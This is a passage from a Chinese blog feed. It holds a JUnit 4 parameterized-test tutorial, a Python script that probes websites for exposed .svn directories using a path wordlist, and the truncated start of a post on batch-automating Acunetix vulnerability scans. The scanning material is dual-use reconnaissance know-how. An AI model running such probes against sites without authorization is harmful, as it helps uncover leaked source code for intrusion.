10px 0px;">suite.addTestSuite(CalculatorTest.class);</div><div style="word-break: break-all; margin: 10px 0px;">suite.addTestSuite(MyStackTest.class);</div><div style="word-break: break-all; margin: 10px 0px;">return suite;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table><br /><br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">JUnit4.X的参数化测试</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　为保证单元测试的严谨性，通常会模拟不同的测试数据来测试方法的处理能力</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　为此我们需要编写大量的单元测试的方法，可是这些测试方法都是大同小异的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　它们的代码结构都是相同的，不同的仅仅是测试数据和期望值</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这时可以使用JUnit4的参数化测试，提取测试方法中相同代码 ，提高代码重用度</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　而JUnit3.8对于此类问题，并没有很好的解决方法，JUnit4.x弥补了JUnit3.8的不足</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">参数化测试的要点</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　&#9312; 准备使用参数化测试的测试类必须由org.junit.runners.Parameterized 运行器修饰</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　&#9313; 准备数据。数据的准备需要在一个方法中进行，该方法需要满足的要求如下</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1) 该方法必须由org.junit.runners.Parameterized.Parameters注解 修饰</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2) 该方法必须为返回值是java.util.Collection 类型的public &nbsp;static方法</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3) 该方法没有参数 ，方法名可随意 。并且该方法是在该类实例化之前执行的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　&#9314; 为测试类声明几个变量 ，分别用于存放期望值和测试所用的数据</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　&#9315; 为测试类声明一个带有参数的公共构造函数 ，并在其中为&#9314; 中声明的变量赋值</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　&#9316; 编写测试方法，使用定义的变量作为参数进行测试</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">参数化测试的缺点</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　一般来说，在一个类里面只执行一个测试方法。因为所准备的数据是无法共用的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这就要求，所要测试的方法是大数据量的方法，所以才有必要写一个参数化测试</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　而在实际开发中，参数化测试用到的并不是特别多</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　下面是JUnit4.x中参数化测试的示例代码</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　首先是Calculator.java</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">package com.jadyer.junit4;</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* 数学计算--&gt;加法</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">public class Calculator {</div><div style="word-break: break-all; margin: 10px 0px;">public int add(int a, int b) {</div><div style="word-break: break-all; margin: 10px 0px;">return a + b;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后是JUnit4.x的参数化测试类ParameterTest.java</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">package com.jadyer.junit4;</div><div style="word-break: break-all; margin: 10px 0px;">import static org.junit.Assert.assertEquals; //静态导入</div><div style="word-break: break-all; margin: 10px 0px;">import java.util.Arrays;</div><div style="word-break: break-all; margin: 10px 0px;">import java.util.Collection;</div><div style="word-break: break-all; margin: 10px 0px;">import org.junit.Test;</div><div style="word-break: break-all; margin: 10px 0px;">import org.junit.runner.RunWith;</div><div style="word-break: break-all; margin: 10px 0px;">import org.junit.runners.Parameterized;</div><div style="word-break: break-all; margin: 10px 0px;">import org.junit.runners.Parameterized.Parameters;</div><div style="word-break: break-all; margin: 10px 0px;">import com.jadyer.junit4.Calculator;</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* JUnit4的参数化测试</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">@RunWith(Parameterized.class)</div><div style="word-break: break-all; margin: 10px 0px;">public class ParameterTest {</div><div style="word-break: break-all; margin: 10px 0px;">private int expected;</div><div style="word-break: break-all; margin: 10px 0px;">private int input11;</div><div style="word-break: break-all; margin: 10px 0px;">private int input22;</div><div style="word-break: break-all; margin: 10px 0px;">public ParameterTest(int expected, int input11, int input22){</div><div style="word-break: break-all; margin: 10px 0px;">this.expected = expected;</div><div style="word-break: break-all; margin: 10px 0px;">this.input11 = input11;</div><div style="word-break: break-all; margin: 10px 0px;">this.input22 = input22;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">@Parameters</div><div style="word-break: break-all; margin: 10px 0px;">public static Collection prepareData(){</div><div style="word-break: break-all; margin: 10px 0px;">//该二维数组的类型必须是Object类型的</div><div style="word-break: break-all; margin: 10px 0px;">//该二维数组中的数据是为测试Calculator中的add()方法而准备的</div><div style="word-break: break-all; margin: 10px 0px;">//该二维数组中的每一个元素中的数据都对应着构造方法ParameterTest()中的参数的位置</div><div style="word-break: break-all; margin: 10px 0px;">//所以依据构造方法的参数位置判断，该二维数组中的第一个元素里面的第一个数据等于后两个数据的和</div><div style="word-break: break-all; margin: 10px 0px;">//有关这种具体的使用规则，请参考JUnit4的API文档中的org.junit.runners.Parameterized类的说明</div><div style="word-break: break-all; margin: 10px 0px;">Object[][] object = {{3,1,2}, {0,0,0}, {-4,-1,-3}, {6,-3,9}};</div><div style="word-break: break-all; margin: 10px 0px;">return Arrays.asList(object);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">@Test</div><div style="word-break: break-all; margin: 10px 0px;">public void testAdd(){</div><div style="word-break: break-all; margin: 10px 0px;">Calculator cal = new Calculator();</div><div style="word-break: break-all; margin: 10px 0px;">assertEquals(expected, cal.add(input11, input22));</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">/********************【该测试的执行流程】************************************************************************/</div><div style="word-break: break-all; margin: 10px 0px;">//1..首先会执行prepareData()方法，将准备好的数据作为一个Collection返回</div><div style="word-break: break-all; margin: 10px 0px;">//2..接下来根据准备好的数据调用构造方法。Collection中有几个元素，该构造方法就会被调用几次</div><div style="word-break: break-all; margin: 10px 0px;">// &nbsp; 我们这里Collection中有4个元素，所以ParameterTest()构造方法会被调用4次，于是会产生4个该测试类的对象</div><div style="word-break: break-all; margin: 10px 0px;">// &nbsp; 对于每一个测试类的对象，都会去执行testAdd()方法</div><div style="word-break: break-all; margin: 10px 0px;">// &nbsp; 而Collection中的数据是由JUnit传给ParameterTest(int expected, int input11, int input22)构造方法的</div><div style="word-break: break-all; margin: 10px 0px;">// &nbsp; 于是testAdd()用到的三个私有参数，就被ParameterTest()构造方法设置好值了，而它们三个的值就来自于Collection</div><div style="word-break: break-all; margin: 10px 0px;">/************************************************************************************************************/</div></td></tr></tbody></table></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421656.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:07 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421656.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>svn信息泄漏探测工具(新手学python)</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421655.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:02:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421655.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421655.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421655.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421655.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421655.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">快放假了，比较闲，写了个svn信息泄漏的探测工具，严格意义上说和wwwscan功能差不多，判断是否存在/.svn/等目录，贴上代码：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">#coding:utf-8</div><div style="word-break: break-all; margin: 10px 0px;">import sys</div><div style="word-break: break-all; margin: 10px 0px;">import httplib2</div><div style="word-break: break-all; margin: 10px 0px;">if len(sys.argv)&lt;2:</div><div style="word-break: break-all; margin: 10px 0px;">print 'Usag:'+"svnscan.py"+" host"</div><div style="word-break: break-all; margin: 10px 0px;">sys.exit()</div><div style="word-break: break-all; margin: 10px 0px;">#判断输入url是否是http开头</div><div style="word-break: break-all; margin: 10px 0px;">if sys.argv[1].startswith('http://'):</div><div style="word-break: break-all; margin: 10px 0px;">host=sys.argv[1]</div><div style="word-break: break-all; margin: 10px 0px;">else:</div><div style="word-break: break-all; margin: 10px 0px;">host="http://"+sys.argv[1]</div><div style="word-break: break-all; margin: 10px 0px;">#访问一个不存在的目录，将返回的status和content-length做为特征</div><div style="word-break: break-all; margin: 10px 0px;">status=''</div><div style="word-break: break-all; margin: 10px 0px;">contentLen=''</div><div style="word-break: break-all; margin: 10px 0px;">http=httplib2.Http()</div><div style="word-break: break-all; margin: 10px 0px;">dirconurl=host+'/nodirinthiswebanx4dm1n/'</div><div style="word-break: break-all; margin: 10px 0px;">dirresponse=http.request(dirconurl,'GET')</div><div style="word-break: break-all; margin: 10px 0px;">status=dirresponse[0].status</div><div style="word-break: break-all; margin: 10px 0px;">contentLen=dirresponse[0].get('content-length')</div><div style="word-break: break-all; margin: 10px 0px;">#字典中保存svn的常见目录，逐个访问和特征status、content-length进行比对</div><div style="word-break: break-all; margin: 10px 0px;">f=open(r'e:\svnpath.txt','r')</div><div style="word-break: break-all; margin: 10px 0px;">pathlist=f.readlines()</div><div style="word-break: break-all; margin: 10px 0px;">def svnscan(subpath):</div><div style="word-break: break-all; margin: 10px 0px;">for svnpath in pathlist:</div><div style="word-break: break-all; margin: 10px 0px;">svnurl=host+svnpath.strip('\r\n')</div><div style="word-break: break-all; margin: 10px 0px;">response=http.request(svnurl,'GET')</div><div style="word-break: break-all; margin: 10px 0px;">if response[0].status!=status and response[0].get('content-length')!=contentLen:</div><div style="word-break: break-all; margin: 10px 0px;">print "vuln:"+svnurl</div><div style="word-break: break-all; margin: 10px 0px;">if __name__=='__main__':</div><div style="word-break: break-all; margin: 10px 0px;">svnscan(host)</div><div style="word-break: break-all; margin: 10px 0px;">f.close()</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　svnpath.txt文件中保存的常见的svn版本控制的目录路径等，借鉴了某大婶的思路，根据返回的状态码、content-length跟一个不存在的目录返回的状态码、content-length进行比对，主要目的是确保判断的准确性，因为有些站点可能会有404提示页等等。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　目前只能想到的是存在svn目录，且权限设置不严格的，所以这个程序应该是不能准确判断是否存在漏洞，只能探测是否存在svn的目录。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　不知道还有其它的办法来确认一个站点是否存在svn目录？目录浏览返回的状态应该也是200？还是有另外的状态码？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421655.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:02 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421655.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Python实现Awvs自动化扫描</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421654.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:01:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421654.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421654.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421654.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421654.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421654.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　最近再做一个python的小程序，主要功能是实现Acuenetix Web Vulnerability Scanner的自动化扫描，批量对一些目标进行扫描，然后对扫描结果写入<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">mysql</strong></u></a>数据库。写这篇<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>，分享一下一些思路。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　程序主要分三个功能模块，Url下载、批量扫描、结果入库，</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　有一个另外独立的程序，在流量镜像服务器上进行抓包，抓取Http协议的包，然后对包进行筛选处理，保留一些带有各种参数的url，然后对url进行入库。url下载功能主要是从mysql数据库中下载url。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　批量扫描功能主要调用了Awvs的命令行wvs_console.exe，调研的时候先是尝试用awvs计划任务来实现批量扫描，但是发现在将一些awvs设置发包给计划任务的时候会遇到各种困难，计划任务貌似也不是一个网页，采用的是XML模版，技术有限，最后没实现，只好放弃。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　之后发现Awvs支持命令行，wvs_console.exe就是主程序，有很多命令参数，基本能实现Awvs界面操作的所有功能。批量扫描主要是读取下载到本地的url,进行逐一扫描。要将扫描结果保存到本地access数据库文件，需要使用savetodatabase参数。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Awvs会自动将扫描结果保存到本地的access数据库中，具体的表是Wvs_alerts，也可以设置保存到Mssql数据库中，具体的是在Application Setting进行设置。结果入库模块的功能是从access数据库筛选出危害等级为3的漏洞，然后将它们写入到mysql数据库。主要用了正则表达式对request中的host,漏洞文件,get或post提交的请求进行筛选拼凑，获取到完整的漏洞测试url。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　贴上代码，很菜，代码各种<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Bug</strong></u></a>，最主要的是程序的整个流程设计存在问题，导致后来被大佬给否掉了，没有考虑到重复扫描和程序异常中止的情况，导致我的程序只能一直运行下去 ，否则重新运行又会从头对url进行扫描。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　对此很郁闷，某天晚上下班回家想了想，觉得可以通过以下方法来解决以上两个问题：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Awvs扫描结果<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>中有一个Wvs_scans表，保存的都是扫描过的url,以及扫描开始时间和结束时间。可以将当天下载的url保存到一个list中，然后在扫描之前先将之前所有扫描过的URL查询出来，同样保存在list中，读取list中的url,判断是否在扫描过的URL list中，如果存在将之从url list中删除掉；如果不存在则再进行扫描。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　异常中止的话貌似只能增加系统计划任务，每天结束再打开，不知道如何时时监视系统进程，通过是否存在wvs的进程来判断。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　以上只是一个大概的程序介绍，贴上代码，代码可能存在一些问题，有兴趣的童鞋去完善完善，大佬觉得我的效率和编码能力有待提高，so，让继续<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: 